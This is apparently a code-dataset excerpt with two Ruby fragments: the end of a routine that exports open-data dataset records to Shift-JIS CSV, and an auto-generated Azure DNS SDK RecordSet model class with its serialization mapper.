dataset = Opendata::Dataset.find(dataset_id) rescue nil
next unless dataset
row = []
no = format("%010d", dataset.id)
pref, city = dataset.pref_codes
code = nil
code = city.first if city.present?
code = pref.first if pref.present?
category_filenames = dataset.categories.pluck(:filename).map do |filename|
parent = filename.index("/") ? ::File.dirname(filename) : nil
[filename, parent]
end
cate1 = category_filenames.map do |filename, parent|
st_categories_1[filename] || st_categories_1[parent]
end.compact.uniq.join("\n")
cate2 = category_filenames.map { |filename, _| st_categories_2[filename] }.compact.join("\n")
estat_category_filenames = dataset.estat_categories.pluck(:filename).map do |filename|
parent = filename.index("/") ? ::File.dirname(filename) : nil
[filename, parent]
end
cate3 = estat_category_filenames.map do |filename, parent|
st_estat_categories_1[filename] || st_estat_categories_1[parent]
end.compact.uniq.join("\n")
cate4 = estat_category_filenames.map { |filename, _| st_estat_categories_2[filename] }.compact.join("\n")
resources = dataset.resources.to_a
row << (code ? code.code : "")
row << no
row << (code ? code.prefecture : "")
row << (code ? code.city : "")
row << dataset.name
row << dataset.text
row << resources.map { |r| r.format }.uniq.join("\n")
row << cate1
row << cate2
row << cate3
row << cate4
row << dataset.update_plan
row << dataset.full_url
row << dataset.label(:api_state)
row << resources.map { |r| r.license.name }.uniq.join("\n")
row << dataset.created.strftime("%Y-%m-%d")
row << dataset.updated.strftime("%Y-%m-%d")
row << resources.map { |r| (r.source_url.presence || r.name) }.uniq.join("\n")
data << encode_sjis_csv(row)
end
end
end
end
end
| 34.166667 | 115 | 0.606098 |
5d54b5f8c3dd6f6340aa9e18da6269aa7a4d8d2e | 8,915 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Dns::Mgmt::V2016_04_01
module Models
#
# Describes a DNS record set (a collection of DNS records with the same
# name and type).
#
class RecordSet
include MsRestAzure
# @return [String] The ID of the record set.
attr_accessor :id
# @return [String] The name of the record set.
attr_accessor :name
# @return [String] The type of the record set.
attr_accessor :type
# @return [String] The etag of the record set.
attr_accessor :etag
# @return [Hash{String => String}] The metadata attached to the record
# set.
attr_accessor :metadata
# @return [Integer] The TTL (time-to-live) of the records in the record
# set.
attr_accessor :ttl
# @return [Array<ARecord>] The list of A records in the record set.
attr_accessor :arecords
# @return [Array<AaaaRecord>] The list of AAAA records in the record set.
attr_accessor :aaaa_records
# @return [Array<MxRecord>] The list of MX records in the record set.
attr_accessor :mx_records
# @return [Array<NsRecord>] The list of NS records in the record set.
attr_accessor :ns_records
# @return [Array<PtrRecord>] The list of PTR records in the record set.
attr_accessor :ptr_records
# @return [Array<SrvRecord>] The list of SRV records in the record set.
attr_accessor :srv_records
# @return [Array<TxtRecord>] The list of TXT records in the record set.
attr_accessor :txt_records
# @return [CnameRecord] The CNAME record in the record set.
attr_accessor :cname_record
# @return [SoaRecord] The SOA record in the record set.
attr_accessor :soa_record
#
# Mapper for RecordSet class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'RecordSet',
type: {
name: 'Composite',
class_name: 'RecordSet',
model_properties: {
id: {
client_side_validation: true,
required: false,
serialized_name: 'id',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
serialized_name: 'name',
type: {
name: 'String'
}
},
type: {
client_side_validation: true,
required: false,
serialized_name: 'type',
type: {
name: 'String'
}
},
etag: {
client_side_validation: true,
required: false,
serialized_name: 'etag',
type: {
name: 'String'
}
},
metadata: {
client_side_validation: true,
required: false,
serialized_name: 'properties.metadata',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
ttl: {
client_side_validation: true,
required: false,
serialized_name: 'properties.TTL',
type: {
name: 'Number'
}
},
arecords: {
client_side_validation: true,
required: false,
serialized_name: 'properties.ARecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'ARecordElementType',
type: {
name: 'Composite',
class_name: 'ARecord'
}
}
}
},
aaaa_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.AAAARecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'AaaaRecordElementType',
type: {
name: 'Composite',
class_name: 'AaaaRecord'
}
}
}
},
mx_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.MXRecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'MxRecordElementType',
type: {
name: 'Composite',
class_name: 'MxRecord'
}
}
}
},
ns_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.NSRecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'NsRecordElementType',
type: {
name: 'Composite',
class_name: 'NsRecord'
}
}
}
},
ptr_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.PTRRecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'PtrRecordElementType',
type: {
name: 'Composite',
class_name: 'PtrRecord'
}
}
}
},
srv_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.SRVRecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'SrvRecordElementType',
type: {
name: 'Composite',
class_name: 'SrvRecord'
}
}
}
},
txt_records: {
client_side_validation: true,
required: false,
serialized_name: 'properties.TXTRecords',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'TxtRecordElementType',
type: {
name: 'Composite',
class_name: 'TxtRecord'
}
}
}
},
cname_record: {
client_side_validation: true,
required: false,
serialized_name: 'properties.CNAMERecord',
type: {
name: 'Composite',
class_name: 'CnameRecord'
}
},
soa_record: {
client_side_validation: true,
required: false,
serialized_name: 'properties.SOARecord',
type: {
name: 'Composite',
class_name: 'SoaRecord'
}
}
}
}
}
end
end
end
end
| 32.300725 | 79 | 0.426921 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.